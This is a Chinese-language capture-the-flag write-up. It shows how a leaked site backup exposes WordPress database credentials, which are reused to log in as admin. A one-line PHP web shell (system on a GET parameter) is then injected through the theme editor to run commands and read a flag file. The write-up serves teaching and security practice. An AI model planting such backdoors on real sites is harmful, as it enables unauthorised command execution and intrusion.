应用安全 --- CTF考点 之 敏感文件泄露 和 编辑器代码注入
通过备份文件泄露拿到网站源码与数据库账号密码,登录 WordPress 后台,利用主题编辑器写入 PHP 一句话命令执行后门,拿到系统命令执行权限,执行系统命令读取大小写特殊命名的kEy4.txt文件,获取 flag。
一、信息收集
-
访问站点首页,为 Backnode 静态模板(Silex v2 生成),页面提示 "You need to look for backup files xxx.tar.gz"。
-
读取
robots.txt发现目录:/old/、/test/、/TR2/、/Backnode_files/。-
/old/目录列表含older.html,读取得到 key1:K37bcdN1(页面标题:key 在哪里?)。
-
-
发现备份文件
html.tar.gz(约 13MB),下载解压得到完整站点源码,关键文件:-
wordpress/wp-config.php→ 数据库用户Admin,密码TogieMYSQL12345^^,库名wordpress。 -
deets.txt→ 密码习惯线索Password 12345。 -
首页标题/后台名
Web_TR2,与 robots 中的TR2对应。
-
二、突破点
-
备份泄露 WordPress 凭据 → 用
admin / TogieMYSQL12345^^成功登录/wordpress/wp-login.php后台。 -
在后台 外观 → 主题编辑器,选择 Twenty Fifteen 主题的
header.php,在文件开头注入命令执行后门:
<?php
if(isset($_GET["c"])){system($_GET["c"]);exit;}
-
保存后访问
/wordpress/wp-content/themes/twentyfifteen/header.php?c=<命令>即可执行任意系统命令。-
验证:
?c=id→uid=33(www-data) gid=33(www-data)
-
三、读取 key4
在网站根目录发现目标文件(注意大小写):
ls -la /var/www/html/
-rw-r--r-- 1 root root 44 ... kEy4.txt
读取:
cat /var/www/html/kEy4.txt
key4:flag{f281a078468b29dbcdef31b3cc0d48b2}
四、考点总结
-
备份文件泄露:
html.tar.gz泄露完整站点源码与数据库凭据。 -
信息泄露:robots.txt、旧版页面(old/older.html)中硬编码 key。
-
弱口令 / 凭据复用:
deets.txt与 wp-config.php 密码复用,登录 WordPress 后台。 -
命令执行(RCE):通过后台主题编辑器写入后门,
system()执行任意命令读取文件。 -
大小写敏感:目标文件名为
kEy4.txt,find -name key4*会漏掉,需精确cat /var/www/html/kEy4.txt。
说明:本题其余 key(key1)在
old/older.html;key4 通过命令执行读取完成。本题交付 flag 即可,不涉及越权操作。
浙公网安备 33010602011771号